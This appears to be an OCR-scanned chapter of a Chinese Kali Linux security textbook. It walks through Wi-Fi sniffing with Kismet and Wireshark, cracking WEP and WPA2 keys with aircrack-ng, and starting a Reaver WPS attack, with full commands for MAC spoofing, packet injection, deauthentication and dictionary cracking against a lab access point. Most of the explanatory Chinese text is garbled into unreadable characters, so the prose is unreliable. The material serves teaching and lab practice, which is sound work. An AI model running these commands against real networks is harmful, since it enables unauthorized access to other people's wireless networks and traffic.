(8) {EiZFL ML+ Close Console Window 441, J4 & ~U1& 9.8 s .

root@kali: ~ - |lo|x

NP RERE) SHEV) M=) B&ET EEEG) MEIH)

| root@kali: - * | root@kali: ~ % | root@kali ~ * | root@kali jusr/shar... *

~ Kismet Sort View Windows

Networks
24

Packets

Filtered

Packets 0

Bl o8 i Cekls &
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(9) ZHRMEAEE, 2 EEREIZ MG PGS . Mg —emmiE, &
1HEM . 7Rz SRy Kismet S50 0E TR R Quit dv2, Wi 9.9 A~ i FL1 .
(10) % F Quit /iy 2 Ji7, K maswiPE 9.10 Fyas 14 5 1 -

XHFF) WRSR(E) TE(v) MERGS) #

root@kali: ~

root@e/wor...

ali

lapsed

etworks

ackets
459¢

kt/Sec

iltered

[ Kill ]

99 iHEH Kismet F9.10 f=il Kismet k45

(11) fRizFm s Kill, B ik Kismet J]R55 TR H 2. BUif, 2002 o
—HHEGER, WRER:

sk KISMET CLIENT IS SHUTTING DOWN s

[SERVER] INFO: Stopped source ‘wlan0'

[SERVER] ERROR: TCP server client read() ended for 127.0.0.1

[SERVER]

[SERVER] *#* KISMET IS SHUTTING DOWVN ##*

[SERVER] INFO: Closed pcapdump log file 'Kismet-20140723-17-19-48-1. pcapdump’,
[SERVER] 155883 logged.

[SERVER] INFO: Closed netxml log file 'Kismet-20140723-17-19-48-1.netxml’, 26
[SERVER] logged.

[SERVER] INFO: Closed nettxt log file 'Kismet-20140723-17-19-48-1.netbdt’, 26

[SERVER] logged.

[SERVER] INFO: Closed gpsxml log file 'Kismet-20140723-17-19-48-1.gpsxml', 0 logged.
[SERVER] INFO: Closed alert log file 'Kismet-20140723-17-19-48-1.alert’, 5 logged.
[SERVER] INFO: Shutting down plugins...

[SERVER] Shutting down log files...

[SERVER] WARNING: Kismet changes the configuration of network devices.

[SERVER] In most cases you will need to restart networking for
[SERVER] your interface (varies per distribution/OS, but
[SERVER] usually: /etc/init.d/networking restart

[SERVER]

[SERVER] Kismet exiting.
Spawned Kismet server has exited
*#% KISMET CLIENT SHUTTING DOWN.  #xx*

Kismet client exiting.

ML A B KISMET IS SHUTTING DOWN #4301, 34 H 250 1 LA H ik oft.
XY H RS, BRARAFEroot H . fEIXEEHE Y, B TAMHENRM. HiE
T Kismet 1R 22 Pk JLARI, I S8 [a] e A A7 75 Bh I .

PTR T — T Briudlisk B 15 . U3 root/ H s, FAHH 1s i & & A LA BRI
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root@kali:~# Is Kismet-20140723-17-19-48-1
Kismet-20140723-17-19-48-1.alert  Kismet-20140723-17-19-48-1.netxml

Kismet-20140723-17-19-48-1.gpsxml  Kismet-20140723-17-19-48-1.pcapdump
Kismet-20140723-17-19-48-1.nettxt
M AR K Al U BT TS PSSP, FF HATH T AR 528 4% . Kismet T
LR TG R ORI LSO . TR0 A 2 R LA SR s
Q alert: Z PO IELFE L.
gpsxml: WEREEA] T GPS ¥, WIAHICH) GPS A frA7 75 i S IFH
nettxt: GLIF BT A WCHE I SCACH S R .
netxml: TFEATAT XML A% A [ EH .
peapdump: B HF RS 2 Uk A A AL
NS N PCAP Fil Text U T AL,

1. {E€FAWireshark# #TPCAP{E =0

COoO0oQO

(1) Ji3h Wireshark. 47 #r4- W1 FHrzs:
root@kali:~# wireshark &

(2) 4 JF peapdump L. 7F Wireshark 7[00 ()32 B4 Hp L F% File|Open 74>, 1
TR 9.11 FroR (i Fi.

) <=

Wireshark: Open Capture File

ER) & v Kb EXES -~
O, 18% ] Kismet-20140723-17-19-48-1.alert 1.0KB 17:24
© MILEERAR @) Kismet-20140723-17-19-48-1.gpsxml 264 F75 17:26
P [ Kismet-20140723-17-19-48-1.nettxt 35.7KB  17:24
RE |¢) Kismet-20140723-17-19-48-1.netxml 81.7KB 17:24
1 RS B Kismet-20140723-17-19-48-1.pcapdump 16.8 MB
D SRR RN s linux-3.14.6.tar 534.2 MB 20145068118
© Kali Live Nessus-5.2.6-debian6_i386.deb 28.4MB 20145048168
= (] replay_arp-0723-171023.cap 806 ¥ 17:11 -
[M] [ ] Filename: Ki?met-20140723-17-1.9-48-1‘pcapdump
Format: Wireshark/tcpdump/... - libpcap
Enable MA C name resolution Size: 17643643 bytes
[J Enable network name resolution Packets: 155883
) Enable transport name resolution  First Packet: 2014-07-23 17:21:12
Elapsed time: 00:05:00

CmiHo || 170 |

K911 IEFEH I pecapdump 3T

(3) {EiZ AT Kismet T HAN3RM peapdump S0, RIS 8L “FTT77 #44, ¥ 8
R UNPE 9.12 Firom i) FL T -
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File Edit View Go

Kismet-20140723-17-19-48~-1.pcapdump [Wireshark 1.8.5]

Capture Analyze Statistics Telephony Tools Internals Help

-L1nkT_ac:

40:76:05:6¢ 58 Deauthentication,

a

2 0.000575 Tp-LinkT_ac:fb:20 00:cl:40:76:05:6C 802.11 58 Deauthentication, SN=0, FN=0, Flags=...
3 0.001190 Tp-LinkT_ac:fh:20 00:cl:40:76:05:6¢ 802.11 58 Deauthentication, SN=0, FN=0, Flags=...
4 0.001552 Tp-LinkT_ac:fb:20 00:cl:40:76:05:6¢C 802.11 58 Deauthentication, SN=0, FN=0, Flags=...
5 0.001963 Tp-LinkT_ac:fb:20 00:c1:40:76:05:6¢ 802.11 58 Deauthentication, SN=0, FN=0, Flags=...
6 0.003905 00:c1:40:76:05:6c (R 802.11 42 Acknowledgement, Flags=........

7 0.004127 00:c1:40:76:05:6¢C Broadcast 802.11 118 Data, SN=1600, FN=0, Flags=.p..... T

8 0.004936 Tp-LinkT_ac:fb:20 00:c1:40:76:05:6c  802.11 58 Deauthentication, SN=0, FN=0, Flags=..
9 0.005301 Tp-LinkT_ac:fb:20 00:c1:40:76:05:6¢ 802.11 58 Deauthentication, SN=0, FN=0, Flags=..
1N NNNSAEE  Tn-1inkT ar-fh-2n 00140 7R 05 A &N7 11 &8 Neanthenticatinn  SN=O  FN=N Flans=

Beged scxea acrraFTEEE @ -
Filter: [ lz‘ Expression... Clear Apply *RTF
No. | Time |50urce Destination |Protocol\l.ength Info

.

9.12 peapdump 3C{HHE L

(4) MiZ S el LR 2, Kismet $56f 2 (K17 o2 B 2 Kdfi 2 . Beacon W2 o2k i

SEARPPE AL, HSRACEAE R H AR IR % .
2. 4 HiKismetdy Text3C 4

{E Linux 4, AT R 28 F SCAR G 42571 TT nettxt SCPF, o0 (1] cat fiv & A 1% 301

W7, I Linux $0A T SCA G5 25F] T netext SCfF, @11 9.13 k.

Kismet-20140723-17-19-48-1.nettxt (~) - VIM m

MfF(F) #miB(E) TR(T) &%) &FE(B) ®EOMW) MEEIH)
EaBs 9¢ . B ¥ee @B %
Kismet (http://www.kismetwireless.net)
Wed Jul 23 17:19:48 2014 - Kismet 2013.03.RO
Network 1: BSSID 14:E6:E4:AC:FB:20
Manuf 1 Tp-LinkT
First 1 Wed Jul 23 17:21:12 2014
Last 1 Wed Jul 23 17:24:48 2014
Type : infrastructure
BSSID : 14:E6:E4:AC:FB:20

SSID 1

Type : Beacon

SSID ¢ "Test"

First : Wed Jul 23 17:21:12 2014

Last 1 Wed Jul 23 17:24:48 2014

Max Rate 1 54.0

Beacon 1 10

Packets 1 297

Encryption : WEP
Channel HE !
Frequency : 0 - 75050 packets, 71.46%
Frequency : 2412 - 27652 packets, 26.3%%
IFrequency 1 2417 - 2302 packets, 2.19% v

23,1 TR &

9.13 nettxt LFNE

MAZ A ] LA B netext SO AT KEMGE, FIH TH#EBINEANTTE MY A4
TCER WA MAT %, HHAH T BRI LI 2 P 2 (1) B AN 5 o, ] 9.14 o,
MAZFLIH T L ) - Clientl, H: MAC bl 00:¢1:40:76:05:6¢. ‘&4 4> MAC

Hihik 4 00:¢1:40:76:05:6¢ ({75 ) o iE R3] T DA .
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=588

Manuf
First
Last

Type

MAC
Channel
Freguency
Max Seen
LLC

Data
Crypt
Fragments
Retries
Total
Datasize

ts
Manuf

First
Last

Seen By :

Kismet-20140723-17-19-48-1.nettxt (~) - VIM HIE‘“

XHF(F) @wiE(E) TR(T) \EE) EPX(@B) ®EAMW) FEEIH)

& 9 e | o B 79 e« 30 3 % &

Client 1: MAC 00:Cl:40:76:05:6C

: Unknown

: wed Jul 23 17:21:12 2014

: Wed Jul 23 17:24:48 2014

: To Distribution

1 00:C1:40:76:05:6C

1 0

: O - 74538 packets, 100.00%
: 1000

: 0

: 74538

1 74538

Ha©]

1 0

1 74538

1 6385686

wlano (wlanGmon) boSSece-124a-11e4-bbef-dc0abb23e201 74538 packe

wed Jul 23 17:24:48 2014

Client 2: MAC 14:E6:E4:AC:FB:20

: Tp-LinkT
1 wed Jul 23 17:21:12 2014
: Wed Jul 23 17:24:48 2014
45,1 2

(<

Fo14 ZEprimfEE

9.2 4% Aircrack-ng T EL2XfF 48 W 45

Aircrack-ng #&— K

BTk o2k 802.11 thisl ) WEP Az WPA-PSK a1 1 H.

%L

HEEH TS R8T WEP #6f#. — P& FMS Yoy, %80 5 R DL R Ii% WEP
JIF MWL 14T (Scott Fluhrer. Ttsik Mantin & Adi Shamir) iz 4%; % Hje Korek
ik, g7 SR S A T B Y, R HAZ B AR S T FMS il AT
2848 F Aircrack-ng Bl fif 5 2 W 2% .

9.21 #E#E WEP % aY ok Mg

Wired Equivalent Privacy 2{ WEP (7265205 ) B3RS 7E N & 104 G2k AL 4 1)
B AAT InE 1 5 2 HCAFTIEARE R P GV sR N M4 . AL BT R Ok
H WEP &7 JL4N99 5, BGTE 2003 4E47 Wi-Fi Protected Access (WPA) V&K, {F 2004
fF 5 1Y TEEE 802.111 hifl (XUFR WPA2) BRI, AN/ 440ki% WEP i35

JEER M 45

fii ] Aircrack AR AL H] WEP Il (A2 b g . SARERAE D B0 F o

(1) fE}f] airmon-ng it & & F =l REH M LL ML O JATAS W T Ps:

kali:~# airmon-ng

Interface Chipset Driver

wlan0

Ralink RT2870/3070 rt2800usb - [phy1]

WG SRR, YT REPAFE DML 0 . M 45 11 Interface 41, nf
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LG 2 YT R4 RS H: 1 8 wlan0.

(2) 1B wlan0 % 1179 MAC Hulib. Ry MAC Bbllbril EHLITTER M4, 0 EHL
() MAC Hihb n] DABSGELEL S MAC #iuhib. fE5 0 MAC sk i, #5845 bizdn . $dT
AW BT R

root@kali:~# airmon-ng stop wlan0 #=1E wlan0 0
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

(monitor mode disabled)

GE

root@kali:~# ifconfig wlan0 down

PATLL Efir @ n, wlan0 DN LE. DR el U MAC sk 17, $ATdr2an b
B :

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0
Permanent MAC: 00:¢1:40:76:05:6c (unknown)

Current MAC: 00:¢1:40:76:05:6¢ (unknown)

New MAC: 00:11:22:33:44:55 (Cimsys Inc)

S R T wlan0 $: 1 7K A1 MAC Hiuhk . 2457 MAC Hihk A28 MAC Hihk .
A LLFE 3 wlanl 321711 MAC Hhhik O 28 955 14
(3) EH B3 wlan0. HATH 40T .

root@kali:~# airmon-ng start wian0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

-e

PID Name

2567 NetworkManager

2716 dhclient

15609 wpa_supplicant

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]
(monitor mode enabled on mon0)

0SB R T 2RI R wlan0 (85 KOIREN AL, B, MRT RGN LR M R
F 47 Ralink RT2870/3070; 2R 1A3K) 4 1t2800usb, Jf 5~ MW Bi=Cal i, LSy I 648 0
3 mon0.

A3 - fi f H] airmon-ng start wlanO0 iy 4 i I G2k 1, n g4 B SIOCSIFFLAGS:
Operation not possible due to RF-kill £ i% . /&[4 Linux FH —M4 A/ RF-kill, 4K {14
TE RS AMER IS 4 (W WIFT A1 Buletooth) &3¢ 4 /4 X e 45 1,
RFE-kill AN B R AShETTF, FETFafRet. FP v LARAT kil list iy 4 & 5 T 4
WR R

root@kali:~# rikill list

0: ideapad_wlan: Wireless LAN
Soft blocked: yes

Hard blocked: no

1: phyO: Wireless LAN

Soft blocked: yes
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Hard blocked: no

ZAR P ET g S, SRR B rEG S. A el g RE R sy, #1ksn
MEA B WA TR R, AT R s a4

root@kali:~# rkill unblock all

PATLL B A Ja, BAAEAE B . UL B3R, MERATA OGRS

(4) 1] airodump iy <& 5 A7 B BT AT W IO JCER M 45 - $RAT v 1 B B :

root@kali:~# airodump-ng wlan0
CH 2][ Elapsed: 1 min ][ 2014-05-15 17:21

BSSID PWR Beacons #Data,#/sCH MB ENC CIPHER AUTH ESSID
14:E6:E4:AC:FB:20 -30 40 13 0 1 S4e. WEP WEP Test
8C:21:0A:44:09:F8 41 24 2 0 6 54e. WPA2 CCMP PSK  yzixt
14:E6:E4:84:23.7A 44 17 1 0 1 54e. WPA2 CCMP PSK  yzixt
C8:64:C7:2F:A1:34 64 19 0 0 1 54 OPN CMCC
1C:FA:68:D7:11:8A -64 37 0 0 1 54e. WPA2Z CCMP PSK  TP-LI
EA64:C7:2FA1:34 -64 18 0 0 1 54 WPA2 CCMP MGT CMCC-
DA:64.C7:2F-A1:34 -64 18 0 0 1 54 OPN CMCC-
4A:46:08:C3:99:.DC 66 7 0 0 1 54 OPN CMCC-
E0:05:C5:E7:68:84 -67 17 0 0 1 54 WPA2 CCMP PSK  TP-LI
5A46:08:C3:99:DC -67 10 0 0 1 54 WPA2 CCMP MGT CMCC-
CC:34:29:5A:8E:BO -68 26 0 0 6 b54e. WPA2 CCMP PSK  TP-LI
5A:46:08:C3:99:D9 -68 9 0 0 11 54 WPA2 CCMP MGT CMCC-
5A:46:08:C3:99:D3 -68 16 0 0 6 5 WPA2 CCMP MGT <leng
38:46:08:C3:99:D9 68 g 0 0 11 54. OPN CMCC
9C:21:6A:E8:89:E0 -68 27 0 0 11 54e. WPA2 CCMP PSK  TP-LI
EA:64.C7T2FAQ:FF -68 7 0 0 11 54 WPA2 CCMP MGT CMCC-

PL g 45 BV R T I T o] IR & . 253k 31 ] P ARUE i R e 2 B Hh o
Bf, 3% F Ctrl+C &= R84,
Mo E R BT EZ S5 EMNTHW TR,

I S Ry Y N N

O

BSSID: JGZk(1) IP Hidik.

PWR: MR 55 KT

Beacons: IR ME ST .

#Data: WA AR A0 EAE 2 H 0GR, BE) A

#is: I s 10 FRp A RS EE 2 21 B H i .

CH: {5155 (M Beacons H3RHL) .

MB: LT L HERRIGHER. W MB=11, ‘&2 802.11b; W MB=22, &
802.11b+; I matf 802.11g. ST (T 54 2 )50 RWISCFFRIAT .
ENC: i H {100 59548 5 . OPN KR L% . WEP? K78 WEP 5% WPA/WPA2
fiX, WEP (¥ 7% Koanfid&aishd WEP. WA HIL TKIP 5% CCMP, Hl4
it WPA/WPA2.

CIPHER: il B|fhn#& 5k, 2 CCMP. WRAAP, TKIP. WEP #l WEP104 '}
= AR S Ch—E) . TKIP 5 WPA 45451, CCMP 5 WPA2 &4
i WMAFEHRTHENT 0, BIRK WEP40. FRUETEHLT, %45 0-3 J& 40bit,
104bit V1% & 0.
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O AUTH: fEHIERAIEML . FIHAH MGT (WPA/WPA2 A AT (1 A JIR 55 25
SIS FRATTH Y 802.1x. radius Al eap %) . SKA (WEP [{LZE®4]) | PSK
(WPA/WPA2 [T 8]) 5% OPN (WEP JIHD) .

O ESSID: $ifri SSID . W4 H BT SSID i, e ml LLoas. XAt
T, airodump-ng /4 M proberesponses M1 associationrequests "' 3k SSID.

O STATION: % /'3iift] MAC Hihlk, GLHRIE RIS R0 ERIE HE 0 2 P i o
IS P iE#: B, Bi/E BSSID B it7s “notassociated” .

QO Rate: FTfEdizE.

QO Lost: 7EidZ: 10 Fheh A ZRMIEEE 4, BT al SR, e ks W& ok
P ZAL, BN B AT RS T B AR B A 1
B ARG B St e RN £ T LA

O Frames: 27" A% 8 70 41 50 .

QO Probe: #7% /i A ERAT ESSID. WU % P E A BIER— AN Tolk, (HRBRAIER
F, AR R EIXEL

(5) f# 1] airodump-ng #fi #5455 BSSID L 1F. HAT A& W F s .

airodump-ng -4 % FH LW R s .

Q -c: faEEFEAHIE .

Q -w: o€ A, TR ER .

W -bssid: #i55E 4k BSSID.

T IPEF Bssid iy 14:E6:E4:ACFB:20 [k i th 3/ E M ki F bR AT a2 10T s

root@kali:~# airodump-ng —c 1 —w wirelessattack --bssid 14:E6:E4:AC:FB:20 mon0
CH 1][ Elapsed: 9 mins ][ 2014-05-15 17:31

BSSID PWRRXQ Beacons #Data,#/s CH MB ENC CIPHER AUTHESSID

14.E6:E4:ACFB20 -37 O 5175 216 0 1 bde. WEP WEP OPN Test

BSSID STATION PWR Rate Lost Frames Probe
14:E6:E4:AC:FB:20 00:11:22:33:44:55 0 0-1 117 88836
14:E6:E4:AC:FB:20 18:DC:56:F0:62:AF -24 54 -54e 654 312
14:E6:E4:AC:FB:20 08:10:77:0A:53:43 -36 0-1 6 9832

M RS Erh m] UG 1] ESSID 2y Test JoZi it thd (¥#Data — EL/EARAL, ForAi% )"

i i ARG A . DL B S HATEO )G, S ER A 4408 wirelessattack-01.1vs [
A, AN S wirelessattack ivs. JX i [K 4 airodump-ng T FL A 15 {8 Ji 1A A (1IN 1
T AR SO P4 15, TREE T-01 XS, DUk, fET 3 kI
I, #55 FH [RIRE SO 44 wirelessattack {RA7-B 1%, BhaxE A4 N wirelessattack-02.ivs S0 ff.

(6) FTTF—ANBri 280t 1, 1247 aireplay fin% . aireplay % [{ifi bt L1 T Fron:

aireplay-ng -1 0 -a [BSSID] -h [our Chosen MAC address] -e [ESSID] [Interface]
aireplay-ng -dauth 1 -a [BSSID] -c [our Chosen MAC address] [Interface]

JF 5l aireplay, AT AT W FHTR:
root@kali:~# aireplay-ng -1 0 -a 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 -e Test mon0
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The interface MAC (00:C1:40:76:05:6C) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 00:11:22:33:44:55

17:25:17 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1

17:25:17 Sending Authentication Request (Open System) [ACK]

17:25:17 Switching to shared key authentication

17:25:19 Sending Authentication Request (Shared Key) [ACK]

17:25:19 Switching to shared key authentication

17:25:21 Sending Authentication Request (Shared Key) [ACK]

17:25:21 Switching to shared key authentication

17:25:23 Sending Authentication Request (Shared Key) [ACK]

17:25:23 Switching to shared key authentication

17:25:25 Sending Authentication Request (Shared Key) [ACK]

17:25:25 Switching to shared key authentication

17:25:27 Sending Authentication Request (Shared Key) [ACK]

17:25:27 Switching to shared key authentication

17:25:29 Sending Authentication Request (Shared Key) [ACK]

17:25:29 Switching to shared key authentication

(7) {EH] aireplay AiE—Seyii @5 Lk H#S, DL TREVERI IR BEWE . vk
FHR:
aireplay-ng 3 -b [BSSID] -h [Our chosen MAC address] [Interface]

AT A W T PR

root@kali:~# aireplay-ng -3 -b 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 mon0
The interface MAC (00:C1:40:76:05:6C) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 00:11:22:33:44:55
17:26:54 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1
Saving ARP requests in replay_arp-0515-172654.cap
You should also start airodump-ng to capture replies.
Notice: got a deauth/disassoc packet. |s the source MAC associated ?
Read 1259 packets (got 1 ARP requests and 189 ACKs), sent 198 packets...(499 pps
Read 1547 packets (got 1 ARP requests and 235 ACKs), sent 248 packets...(499 pps
Read 1843 packets (got 1 ARP requests and 285 ACKs), sent 298 packets...(499 pps
Read 2150 packets (got 1 ARP requests and 333 ACKSs), sent 348 packets...(499 pps
Read 2446 packets (got 1 ARP requests and 381 ACKs), sent 398 packets...(499 pps
Read 2753 packets (got 1 ARP requests and 430 ACKs), sent 449 packets...(500 pps
Read 3058 packets (got 1 ARP requests and 476 ACKs), sent 499 packets...(500 pps
Read 3367 packets (got 1 ARP requests and 525 ACKs), sent 548 packets...(499 pps
Read 3687 packets (got 1 ARP requests and 576 ACKs), sent 598 packets...(499 pps
Read 4001 packets (got 1 ARP requests and 626 ACKs), sent 649 packets...(500 pps
Read 4312 packets (got 1 ARP requests and 674 ACKs), sent 699 packets...(500 pps
Read 4622 packets (got 1 ARP requests and 719 ACKs), sent 749 packets...(500 pps
Read 4929 packets (got 1 ARP requests and 768 ACKs), sent 798 packets...(499 pps
Read 5239 packets (got 1 ARP requests and 817 ACKSs), sent 848 packets...(499 pps

fn 45 B2 ARP Requests (1957 R1EHL ARP R SCH I #2, s [a] 3]
airodump-ng FL [ &7, W LLE F| Test 1] Frames £4/0 5078 QR (119 . 70U o £k 5L
PWARSCGER) T — & ¥R To, — WHEEIR IVsX ik ®) 2 Tl By, shnl BLIFGRTE, A
BE T S R s R SO AR LM, AR5 2 2538 ) LiK.

(8) i H] Aircrack W fi# % %, AT HT2 W F Frs:

root@kali:~# aircrack-ng -b 14:E6:E4:AC:FB:20 wirelessattack-01.cap
Opening wirelessattack-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 7197 ivs.
Aircrack-ng 1.2 beta1
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[00:00:54] Tested 15761 keys (got 10002 |Vs)

KB depth  byte(vote)

0 O/ 4 61(17408) BA(16384) 9B(15616) E1(15616) 28(15104) 77(14592) 10(14336)
1 1/ 5 62(15360)66(14336) 3C(14080) 76(14080) SE(13568) 23(13312) 25(13312)
2 2/13 63(14336) 11(14336) 7A(13824) AA(13824) A9(13568) SD(13568) 7TE(13312)
3 3 7 EF(14336)38(14080) 3E(14080) 8A(14080) D9(14080) DE(14080) 6E(13824)
4 9/10 65(13824) 36(13568)42(13568) 8B(13568) BF(13568) 29(13312) 7F(13312)

KEY FOUNDI [ 61:62:63:64:65 ] (ASCII: abcde )
Decrypted correctly: 100%

M 4R T BLE ] KEY FOUND, o Ci2e ks, O abede.
9.2.2 g WPA/WPA2 Jok Mg

WPA 4>% 4y Wi-Fi Protected Access, 17 WPA fll WPA2 Wb, & —F ey ik
LA PR 288 22 B PRl e A3 53 I WPA/WPA2 INEE [ JC2k M 4%,  H B R i 20 1R I By
e . ARIERE, fEE] airodump-ng BEAT S A B, iRm0 WPA
CCMP PSK. *{{iH] aireplay-ng MAT X7 )5, [RIFFIRINE] WPA 47 T4l £ S #or; 7RAl
fiff Iy 7 B AN T IR A R WPA/WPA2 JoZk &5 (1) JyiZ:.

{if H] aircrack-ng Wl fif WPA/WPA2 2% W 454 1) HARERAE B3R B

(1) SHFLLMEEO, PATHLS T IiR:

kali:~# airmon-ng

Interface  Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

(2) fFIb Mg . AT a2 W b R:

root@kali:~# airmon-ng stop wlan0 #=1E wlan0 0
Interface  Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

(monitor mode disabled)

(3) BELM |~ MAC Hiuhil. $AT S F P s:

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0
Permanent MAC: 00:¢1:40:76:05:6¢ (unknown)

Current MAC: 00:¢1:40:76:05:6¢c (unknown)

New MAC: 00:11:22:33:44:55 (Cimsys Inc)

(4) FELRAHE N AT A2 F R

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e

PID Name

2567 NetworkManager

2716 dhclient

15609 wpa_supplicant
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

(monitor mode enabled on mon0)
(3) filiREIE . AT AW FR:
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root@kali:~# airodump-ng -c 1 -w abc --bssid 14:E6:E4:AC:FB:20 mon0
CH 1 ][ Elapsed: 3 mins ][ 2014-05-15 17:53 ][ WPA handshake: 14:E6:E4:AC:FB:20

BSSID PWRRXQ Beacons #Data,#s CH MB ENC CIPHER AUTH ESSID

14E6:E4ACFB20 47 0 1979 5466 24 1 b54e. WPA2 CCMP PSK Test

BSSID STATION PWR Rate Lost Frames Probe
14:E6:E4:AC:FB:20 18:DC:56:F0:62:AF -127 Oe-0e 0 481
14:E6:E4:AC:FB:20  08:10:77:0A:53:43 -32 0-1 40 5035
14:E6:E4:AC:FB:20  08:10:77:0A:53:43 -30 0-1 46 5039

(6) X LZkit ti 4% Test #47 Deauth BGlr. #4047 dr 2 Wl FAT7R:

root@kali:~# aireplay-ng —deauth 1 -a 14:E6:E4:AC:FB:20 -¢ 00:11:22:33: 44:55 mon0
17:50:27 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1
17:50:30 Sending 64 directed DeAuth. STMAC: [00:11:22:33:44:55] [12|59 ACKs]

(7) MRS PRAT A2 W R s

root@Kali:~# aircrack-ng -w /dic/wordlist wirelessattack-01.cap
Opening wirelessattack-01.cap
Read 2776 packets.
# BSSID ESSID Encryption
1 14:E6:E4:AC:FB:20 Test WPA (1 handshake)
Choosing first network as target.
Opening abc-01.cap
Reading packets, please wait...
Aircrack-ng 1.2 beta1
[00:04:50] 1 keys tested (500.88 k/s)
KEY FOUND! [ daxueba ]
Master Key : B2 51 6F 21 66 D5 19 8F 40 F8 9E 97 41 EO 85 81
5169 8F 1C A0 CA A8 5B 59 58 BD F2 06 34 8B F2
Transient Key : AA 7B 3094 92 EC CE 63 EB F0 28 84 00 8A 74 0A
FF 6A 00 15B7 18 01 47 A0 BF 78 9D 9C 23 8B 8E
0B 7C 7352 DF 35 CB C9 30 22 9E FB 94 A2 9B 1A
F2410266 A1165B 79 74 FB OB ED 97 E2 94 12
EAPOL HMAC :88FCB8B 0941 7C678C7561F745CB88F6BF

Mt A5 S AT DAAE B To 2k i Hh #5004 0 L2 Dl A% - /F KEY FOUND $i o5 (1) 44
M RT LAFE 2% 0 O i . v daxueba, AEAFIEE 20 500.88 kis.

9.2.3 I WPS (Wi-Fi Proteced Setup)

WPS i 111 Wi-Fi BE B THE 19458 Wi-Fi 22 2B v bR . 12 F5RME 38 2 T fif ok
JCER 448 N D IE 152 (125 TR T 8 2 1 Mg o DR DA 30 5 D A e TR My 15 T A0 RO R,
PLE T AT I8 24 v0E, WG RFE 24 Ry, Frel2 AEH WPS i
L%, AT LUERIAS ARAIES (PIN) mid%#] (PBC) HURA MR KR ZE LA IE. 4
TFIZIRE G, Bt v] AT F 3 7 Mo (1 720k Mo WPS. AN A 44 FH 45 1
H.I il WPS.

HLAE R o 5 th % B #BS2 FF WPS Thitg. LAAT#k st &1 100 WPS i, BLAE#
A QSS ZhREHUAL T . X HLLL TP-LINK T4 4], 24185 WPS Thfig, Wl 9.15 it
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o WA H] WPS [ PBC F7al, M9 Mg gy B QSS/RESET st vl LA 1.
CE

QsSTTHE: ERE
Efnas:cH 04583308 WEEHEPING | | EEFHEIPING
RS

915 &KE WPS

MiZFEI ] LUE #) QSS TIRECTT R, W LUAF M ETH PIN /2 04588306, X HLnf LA
HOFTAE OB PIN 5, 58 M A1 4G PIN 4.

[S5f5) 9-1]1 {4 1] Reaver filifi# WPS. HAKHAE LB UIF AT

(1) HATLM <, {F ifconfig fir S AH LM KEN OLIEMIAA . ITamSW
TR

root@Kali:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:19:21:3f.c3:e5
inet addr:192.168.5.4 Bcast:192.168.5.255 Mask:255.255.255.0
inet6 addr: fe80::219:211f-fe3f.c3e5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:10541 errors:0 dropped:0 overruns:0 frame:0
TX packets:7160 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes: 4205470 (4.0 MiB) TX bytes:600691 (586.6 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:296 errors:0 dropped:0 overruns:0 frame:0
TX packets:296 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:17760 (17.3 KiB) TX bytes:17760 (17.3 KiB)

Mt A5 S T AR 2, HAT A RUKMEL O eth0. JX 2N 5 o2k M i GESRA A
5, HACRRBEINZIELM R AT AW s:
root@Kali:~# ifconfig wlan0 up

HATLL B )a, WA E Bt . SIS FHRHAAT ifconfig my 4, TR LML 2
TOHES, Wk pR:
root@Kali:~# ifconfig

wlan0 Link encap:Ethernet HWaddr 08:10:76:49:c3:cd
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

AL ESHAR, WRRA &M RO Rz, HM4 00 wlan0,
(2) JABhELM R VL. $AT a2 A FAR:
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root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e

PID Name

2618 NetworkManager

2870 wpa_supplicant

27052 dhclient
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy16]

(monitor mode enabled on mon0)

M A5 B, i BLE # monitor mode enabled on mon0, s G2k < S sh R UE
Bk L BERH, B LR B MR i R IRah 2. Hdr, MR R
Ralink, 2Ri\ZK5) 4 rt2800usb.,

L5 PATA LA B RFHEX, —F B2 ERRF LERFa5H FIKsh, TN,
%A R T B S B sk K

(3) Kb WPS. $ATar 2 W FHR:

root@kali:~# reaver -i mon0 -b 14:E6:E4:AC:FB:20 -vv
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@ tacnetsol.com>
[+] Waiting for beacon from 14:E6:E4:AC:FB:20

[+] Switching mon0 to channel 1

[+] Switching mon0 to channel 2

[+] Switching mon0 to channel 3

[+] Switching mon0 to channel 11

[+] Switching mon0 to channel 4
